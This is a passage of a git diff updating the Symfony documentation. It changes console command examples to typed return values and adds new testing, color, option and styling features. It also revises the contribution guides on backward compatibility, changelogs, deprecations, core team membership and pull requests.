+:method:`ConsoleOutput::section() <Symfony\\Component\\Console\\Output\\ConsoleOutput::section>`
+method, which returns an instance of
 :class:`Symfony\\Component\\Console\\Output\\ConsoleSectionOutput`::
 
+    // ...
+    use Symfony\Component\Console\Output\ConsoleOutputInterface;
+
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
+            if (!$output instanceof ConsoleOutputInterface) {
+                throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
+            }
+
             $section1 = $output->section();
             $section2 = $output->section();
+
             $section1->writeln('Hello');
             $section2->writeln('World!');
             // Output displays "Hello\nWorld!\n"
@@ -235,7 +270,7 @@ Use input options or arguments to pass information to the command::
     use Symfony\Component\Console\Input\InputArgument;
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // configure an argument
@@ -245,7 +280,7 @@ Use input options or arguments to pass information to the command::
     }
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $output->writeln([
             'User Creator',
@@ -299,7 +334,7 @@ as a service, you can use normal dependency injection. Imagine you have a
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
@@ -355,7 +390,7 @@ console::
     {
         public function testExecute()
         {
-            $kernel = static::createKernel();
+            $kernel = self::bootKernel();
             $application = new Application($kernel);
 
             $command = $application->find('app:create-user');
@@ -368,6 +403,8 @@ console::
                 // e.g: '--some-option' => 'option_value',
             ]);
 
+            $commandTester->assertCommandIsSuccessful();
+
             // the output of the command in the console
             $output = $commandTester->getDisplay();
             $this->assertStringContainsString('Username: Wouter', $output);
@@ -384,6 +421,10 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     The ``setAutoExit()`` method for single-command applications was introduced
     in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
+
 .. tip::
 
     You can also test a whole console application by using
@@ -395,10 +436,20 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
+.. caution::
+
+    When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
+    class, don't forget to disable the auto exit flag::
+
+        $application = new Application();
+        $application->setAutoExit(false);
+        
+        $tester = new ApplicationTester($application);
+
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\\Component\\Console\\Application>`
+    :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors
@@ -428,5 +479,6 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 0b3919973e5..2defb04d49a 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,36 +8,40 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Calling a command from another one is straightforward::
+Use the :method:`Symfony\\Component\\Console\\Application::find` method to
+find the command you want to run by passing the command name. Then, create a
+new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command.
 
+Eventually, calling the ``run()`` method actually runs the command and returns
+the returned code from the command (return value from command's ``execute()``
+method)::
+
+    // ...
+    use Symfony\Component\Console\Command;
     use Symfony\Component\Console\Input\ArrayInput;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    class CreateUserCommand extends Command
     {
-        $command = $this->getApplication()->find('demo:greet');
-
-        $arguments = [
-            'name'    => 'Fabien',
-            '--yell'  => true,
-        ];
+        // ...
 
-        $greetInput = new ArrayInput($arguments);
-        $returnCode = $command->run($greetInput, $output);
+        protected function execute(InputInterface $input, OutputInterface $output): void
+        {
+            $command = $this->getApplication()->find('demo:greet');
 
-        // ...
-    }
+            $arguments = [
+                'name'    => 'Fabien',
+                '--yell'  => true,
+            ];
 
-First, you :method:`Symfony\\Component\\Console\\Application::find` the
-command you want to run by passing the command name. Then, you need to create
-a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments
-and options you want to pass to the command.
+            $greetInput = new ArrayInput($arguments);
+            $returnCode = $command->run($greetInput, $output);
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
-method).
+            // ...
+        }
+    }
 
 .. tip::
 
diff --git a/console/coloring.rst b/console/coloring.rst
index 913805b5cea..9df90251895 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -46,12 +46,18 @@ It is possible to define your own styles using the
     $output->writeln('<fire>foo</>');
 
 Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
-``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan``, ``white``,
+``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
+``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
 .. versionadded:: 5.2
 
     True (hex) color support was introduced in Symfony 5.2
 
+.. versionadded:: 5.3
+
+    Support for bright colors was introduced in Symfony 5.3.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -65,10 +71,10 @@ commonly used when asking the user to type sensitive information).
 
 You can also set these colors and options directly inside the tag name::
 
-    // green text
+    // using named colors
     $output->writeln('<fg=green>foo</>');
 
-    // red text
+    // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
     // black text on a cyan background
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 190584bfbda..91ead2a7801 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -20,11 +20,9 @@ Instead, you can run the command directly from the controller.
     a controller has a slight performance impact because of the request stack
     overhead.
 
-Imagine you want to send spooled Swift Mailer messages by
-:doc:`using the swiftmailer:spool:send command </email>`.
-Run this command from inside your controller via::
+Imagine you want to run the ``debug:twig`` from inside your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Console\Application;
@@ -34,19 +32,19 @@ Run this command from inside your controller via::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\KernelInterface;
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool($messages = 10, KernelInterface $kernel)
+        public function debugTwig(KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
 
             $input = new ArrayInput([
-                'command' => 'swiftmailer:spool:send',
+                'command' => 'debug:twig',
                 // (optional) define the value of command arguments
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
-                '--message-limit' => $messages,
+                '--bar' => 'fooValue',
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -76,7 +74,7 @@ First, require the package:
 
 Now, use it in your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use SensioLabs\AnsiConverter\AnsiToHtmlConverter;
@@ -85,9 +83,9 @@ Now, use it in your controller::
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool($messages = 10)
+        public function sendSpool(int $messages = 10): Response
         {
             // ...
             $output = new BufferedOutput(
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index af4f275e221..6323f21ac50 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -35,13 +35,13 @@ For example, suppose you want to log something from within your command::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDescription('Good morning!');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->info('Waking up the sun');
             // ...
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index db39ca824f8..2f9d2819873 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -20,7 +20,7 @@ In those cases, you can define the command as **hidden** by setting the
     {
         protected static $defaultName = 'app:legacy';
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setHidden(true)
diff --git a/console/input.rst b/console/input.rst
index 182a7c579e2..3bbba7e5fce 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -21,7 +21,7 @@ and make the ``name`` argument required::
     {
         // ...
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -42,7 +42,7 @@ You now have access to a ``last_name`` argument in your command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $text = 'Hi '.$input->getArgument('name');
 
@@ -199,14 +199,15 @@ separation at all (e.g. ``-i 5`` or ``-i5``).
     this situation, always place options after the command name, or avoid using
     a space to separate the option name from its value.
 
-There are four option variants you can use:
+There are five option variants you can use:
 
 ``InputOption::VALUE_IS_ARRAY``
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). This is the default
-    behavior of options;
+    Do not accept input for this option (e.g. ``--yell``). The value returned
+    from is a boolean (``false`` if the option is not provided).
+    This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``
     This value is required (e.g. ``--iterations=5`` or ``-i5``), the option
@@ -216,6 +217,14 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
+``InputOption::VALUE_NEGATABLE``
+    Accept either the flag (e.g. ``--yell``) or its negation (e.g.
+    ``--no-yell``).
+
+.. versionadded:: 5.3
+
+    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
+
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
@@ -249,7 +258,7 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``,
+This option can be used in 3 ways: ``greet --yell``, ``greet --yell=louder``,
 and ``greet``. However, it's hard to distinguish between passing the option
 without a value (``greet --yell``) and not passing the option (``greet``).
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 1be62776742..e3c26372cfe 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -22,7 +22,7 @@ that adds two convenient methods to lock and release commands::
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$this->lock()) {
                 $output->writeln('The command is already running in another process.');
@@ -38,6 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/console/style.rst b/console/style.rst
index a8cdad20004..33f1ff59cc5 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -21,7 +21,7 @@ Consider for example the code used to display the title of the following command
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln([
                 '<info>Lorem Ipsum Dolor Sit Amet</>',
@@ -62,7 +62,7 @@ title of the command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $io = new SymfonyStyle($input, $output);
             $io->title('Lorem Ipsum Dolor Sit Amet');
@@ -165,6 +165,15 @@ Content Methods
             ['foo4' => 'bar4']
         );
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as appending rows dynamically.
+
+.. versionadded:: 5.4
+
+    The ``createTable()`` method was introduced in Symfony 5.4.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -243,6 +252,24 @@ Progress Bar Methods
 
         $io->progressFinish();
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::progressIterate`
+    If your progress bar loops over an iterable collection, use the
+    ``progressIterate()`` helper::
+
+        $iterable = [1, 2];
+
+        foreach ($io->progressIterate($iterable) as $value) {
+            // ... do some work
+        }
+
+.. versionadded:: 5.4
+
+    The ``progressIterate`` method was introduced in Symfony 5.4.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    styled according to the Symfony Style Guide.
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 
@@ -331,12 +358,12 @@ Result Methods
     It's meant to be used once to display the final result of executing the given
     command, without showing the result as a successful or failed one::
 
-        // use simple strings for short success messages
+        // use simple strings for short info messages
         $io->info('Lorem ipsum dolor sit amet');
 
         // ...
 
-        // consider using arrays when displaying long success messages
+        // consider using arrays when displaying long info messages
         $io->info([
             'Lorem ipsum dolor sit amet',
             'Consectetur adipiscing elit',
@@ -412,7 +439,7 @@ of your commands to change their appearance::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // Before
             $io = new SymfonyStyle($input, $output);
diff --git a/console/verbosity.rst b/console/verbosity.rst
index c16737c2b61..7df68d30f23 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -49,7 +49,7 @@ level. For example::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $user = new User(...);
 
@@ -68,6 +68,8 @@ level. For example::
                 'Will only be printed in verbose mode or higher',
                 OutputInterface::VERBOSITY_VERBOSE
             );
+
+            return 0;
         }
     }
 
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index d0c82ab1c1f..65e7b1d3181 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -4,10 +4,13 @@ Our Backward Compatibility Promise
 Ensuring smooth upgrades of your projects is our first priority. That's why
 we promise you backward compatibility (BC) for all minor Symfony releases.
 You probably recognize this strategy as `Semantic Versioning`_. In short,
-Semantic Versioning means that only major releases (such as 2.0, 3.0 etc.) are
-allowed to break backward compatibility. Minor releases (such as 2.5, 2.6 etc.)
+Semantic Versioning means that only major releases (such as 5.0, 6.0 etc.) are
+allowed to break backward compatibility. Minor releases (such as 5.1, 5.2 etc.)
 may introduce new features, but must do so without breaking the existing API of
-that release branch (2.x in the previous example).
+that release branch (5.x in the previous example).
+
+We also provide deprecation message triggered in the code base to help you with
+the migration process across major release.
 
 .. caution::
 
@@ -72,7 +75,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes                         |
+| Call a method                                 | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -114,13 +117,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes                         |
+| Call a public method                          | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes                         |
+| Call a protected method                       | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -445,4 +448,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
+.. [10] Parameter names are only covered by the compatibility promise for
+        constructors of Attribute classes. Using PHP named arguments might
+        break your code when upgrading to newer Symfony versions.
+
 .. _`Semantic Versioning`: https://semver.org/
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index a62bdd68587..cd1d87b4282 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -7,8 +7,10 @@ coding standards and conventions used in the core framework to make it more
 consistent and predictable. You are encouraged to follow them in your own
 code, but you don't need to.
 
-Method Names
-------------
+.. _method-names:
+
+Naming a Method
+---------------
 
 When an object has a "main" many relation with related "things"
 (objects, parameters, ...), the method names are normalized:
@@ -77,19 +79,63 @@ must be used instead (where ``XXX`` is the name of the related thing):
     ``replaceXXX()``, on the other hand, cannot add new elements. If an unrecognized
     key is passed to ``replaceXXX()`` it must throw an exception.
 
+Writing a CHANGELOG Entry
+-------------------------
+
+When adding a new feature in a minor version or deprecating an existing
+behavior, an entry to the relevant CHANGELOG(s) should be added.
+
+New features and deprecations must be described in a file named
+``CHANGELOG.md`` that should be at the root directory of the modified
+Component, Bridge or Bundle.
+
+The file must be written with the Markdown syntax and follow the following
+conventions:
+
+* The main title is always ``CHANGELOG``;
+
+* Each entry must be added to a minor version section (like ``5.3``) as a list
+  element;
+
+* No third level sections are allowed;
+
+* Messages should follow the :ref:`commit message conventions <commit-messages>`:
+  should be short, capitalize the line, do not end with a period, use an
+  imperative verb to start the line;
+
+* New entries must be added on top of the list.
+
+Here is a complete example for reference:
+
+.. code-block:: markdown
+
+    CHANGELOG
+    =========
+
+    5.3
+    ---
+
+     * Add `MagicConfig` that allows configuring things
+
+.. note::
+
+    The main ``CHANGELOG-*`` files at the ``symfony/symfony`` root directory
+    are automatically generated when releases are prepared and should never be
+    modified manually.
+
 .. _contributing-code-conventions-deprecations:
 
 Deprecating Code
 ----------------
 
-From time to time, some classes and/or methods are deprecated in the
-framework; that happens when a feature implementation cannot be changed
-because of backward compatibility issues, but we still want to propose a
-"better" alternative. In that case, the old implementation can be **deprecated**.
+From time to time, some classes and/or methods are deprecated in the framework;
+that happens when a feature implementation cannot be changed because of
+backward compatibility issues, but we still want to propose a "better"
+alternative. In that case, the old implementation can be **deprecated**.
 
 Deprecations must only be introduced on the next minor version of the impacted
-component (or bundle, or bridge, or contract).
-They can exceptionally be introduced on previous supported versions if they are critical.
+component (or bundle, or bridge, or contract). They can exceptionally be
+introduced on previous supported versions if they are critical.
 
 A new class (or interface, or trait) cannot be introduced as deprecated, or
 contain deprecated methods.
@@ -121,7 +167,7 @@ A deprecation must also be triggered to help people with the migration
 
     trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class);
 
-When deprecating a whole class the ``trigger_error()`` call should be placed
+When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 after the use declarations, like in this example from `ServiceRouterLoader`_::
 
     namespace Symfony\Component\Routing\Loader\DependencyInjection;
@@ -137,43 +183,59 @@ after the use declarations, like in this example from `ServiceRouterLoader`_::
 
 .. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
 
-The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
+The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
 
-    4.4.0
-    -----
+.. code-block:: markdown
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+    4.4
+    ---
+
+    * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
-(``UPGRADE-4.4.md`` in our example)::
+(``UPGRADE-4.4.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 Finally, its consequences must be added to the ``UPGRADE.md`` file of the next major version
-(``UPGRADE-5.0.md`` in our example)::
+(``UPGRADE-5.0.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 All these tasks are mandatory and must be done in the same pull request.
 
 Removing Deprecated Code
 ------------------------
 
-Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``master`` branch).
+Removing deprecated code can only be done once every two years, on the next
+major version of the impacted component (``6.0`` branch, ``7.0`` branch, etc.).
 
-When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component::
+When removing deprecated code, the consequences of the deprecation must be added
+to the ``CHANGELOG.md`` file of the impacted component:
 
-    5.0.0
-    -----
+.. code-block:: markdown
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+    5.0
+    ---
+
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 This task is mandatory and must be done in the same pull request.
+
+Naming Commands and Options
+---------------------------
+
+Commands and their options should be named and described using the English
+imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
+the imperative mood is concise and consistent with similar command-line
+interfaces (such as Unix man pages).
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 47fba9c2d94..e3aa1d4660e 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -24,27 +24,21 @@ The Symfony Core groups, in descending order of priority, are as follows:
 
 1. **Project Leader**
 
-* Elects members in any other group;
-* Merges pull requests in all Symfony repositories.
+   * Elects members in any other group;
+   * Merges pull requests in all Symfony repositories.
 
 2. **Mergers Team**
 
-* Merge pull requests on the main Symfony repository.
+   * Merge pull requests on the main Symfony repository.
 
 In addition, there are other groups created to manage specific topics:
 
-**Security Team**
+* **Security Team**: manages the whole security process (triaging reported vulnerabilities,
+  fixing the reported issues, coordinating the release of security fixes, etc.)
 
-* Manage the whole security process (triaging reported vulnerabilities, fixing
-  the reported issues, coordinating the release of security fixes, etc.)
+* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
 
-**Recipes Team**
-
-* Manage the recipes in the main and contrib recipe repositories.
-
-**Documentation Team**
-
-* Manage the whole `symfony-docs repository`_.
+* **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
 ~~~~~~~~~~~~~~~~~~~
@@ -60,18 +54,22 @@ Active Core Members
   * **Christian Flothmann** (`xabbuh`_);
   * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
-  * **Jakub Zalas** (`jakzal`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
   * **Maxime Steinhausser** (`ogizanagi`_);
-  * **Samuel Rozé** (`sroze`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
-  * **Jérémy Derussé** (`jderusse`_).
+  * **Jérémy Derussé** (`jderusse`_);
+  * **Titouan Galopin** (`tgalopin`_);
+  * **Oskar Stark** (`OskarStark`_);
+  * **Thomas Calvet** (`fancyweb`_);
+  * **Mathieu Santostefano** (`welcomattic`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Jérôme Tamarelle** (`gromnan`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -90,7 +88,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Christian Flothmann** (`xabbuh`_);
   * **Wouter De Jong** (`wouterj`_);
-  * **Jules Pietri** (`HeahDude`_);
   * **Javier Eguiluz** (`javiereguiluz`_).
   * **Oskar Stark** (`OskarStark`_).
 
@@ -104,12 +101,15 @@ Symfony contributions:
 * **Abdellatif AitBoudad** (`aitboudad`_);
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
-* **Lukas Kahwe Smith** (`lsmith77`_).
+* **Lukas Kahwe Smith** (`lsmith77`_);
+* **Jules Pietri** (`HeahDude`_);
+* **Jakub Zalas** (`jakzal`_);
+* **Samuel Rozé** (`sroze`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-At present, new Symfony Core membership applications are not accepted.
+About once a year, the core team discuss the opportunity to invite new members.
 
 Core Membership Revocation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -121,9 +121,6 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
-Should new Symfony Core memberships be accepted in the future, revoked
-members must wait at least 12 months before re-applying.
-
 Code Development Rules
 ----------------------
 
@@ -153,8 +150,8 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Merger Team** members voted ``+1`` (only one if the submitter
-  is part of the Merger team) and no Core member voted ``-1`` (via GitHub
+* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
+  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
   reviews or as comments).
 
 Pull Request Merging Process
@@ -207,3 +204,8 @@ discretion of the **Project Leader**.
 .. _`lsmith77`: https://github.com/lsmith77/
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
+.. _`tgalopin`: https://github.com/tgalopin/
+.. _`fancyweb`: https://github.com/fancyweb/
+.. _`welcomattic`: https://github.com/welcomattic/
+.. _`kbond`: https://github.com/kbond/
+.. _`gromnan`: https://github.com/gromnan/
diff --git a/contributing/code/license.rst b/contributing/code/license.rst
index 8c7c2fd19db..8f0ff3f6501 100644
--- a/contributing/code/license.rst
+++ b/contributing/code/license.rst
@@ -5,7 +5,7 @@ Symfony Code License
 
 Symfony code is released under `the MIT license`_:
 
-Copyright (c) 2004-2020 Fabien Potencier
+Copyright (c) 2004-2021 Fabien Potencier
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 38467ebfa55..22c144423c8 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -1,6 +1,12 @@
 Proposing a Change
 ==================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `Contributing Back To Symfony`_
+    screencast series.
+
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
@@ -101,12 +107,6 @@ Check that the current Tests Pass
 Now that Symfony is installed, check that all unit tests pass for your
 environment as explained in the dedicated :doc:`document <tests>`.
 
-.. tip::
-
-    If tests are failing, check on `Travis-CI`_ if the same test is
-    failing there as well. In that case you do not need to be concerned
-    about the test failing locally.
-
 .. _step-2-work-on-your-patch:
 
 Step 3: Work on your Pull Request
@@ -124,7 +124,7 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``3.4``, if you are fixing a bug for an existing feature or want to make a
+* ``4.4``, if you are fixing a bug for an existing feature or want to make a
   change that falls into the :doc:`list of acceptable changes in patch versions
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
@@ -132,16 +132,16 @@ work:
 * ``5.x``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
-  (4.0, 5.0, etc.) comes out every two years. Because of the
+  (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``3.4``
-  instead of ``4.0``, use ``4.4`` instead of ``5.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``4.4``
+  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``3.4`` branch, the PR will also be applied by the core team on
+    for the ``4.4`` branch, the PR will also be applied by the core team on
     the ``5.x`` branch.
 
 Create a Topic Branch
@@ -154,18 +154,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote
-``3.4`` branch locally:
+Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
+``4.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/3.4
+    $ git checkout --track origin/4.4
 
-Then create a new branch off the ``3.4`` branch to work on the bug fix:
+Then create a new branch off the ``4.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 3.4
+    $ git checkout -b BRANCH_NAME 4.4
 
 .. tip::
 
@@ -224,7 +224,20 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
-* Write good commit messages (see the tip below).
+.. _commit-messages:
+
+* Write good commit messages: Start by a short subject line (the first line),
+  followed by a blank line and a more detailed description.
+
+  The subject line should start with the Component, Bridge or Bundle you are
+  working on in square brackets (``[DependencyInjection]``,
+  ``[FrameworkBundle]``, ...).
+
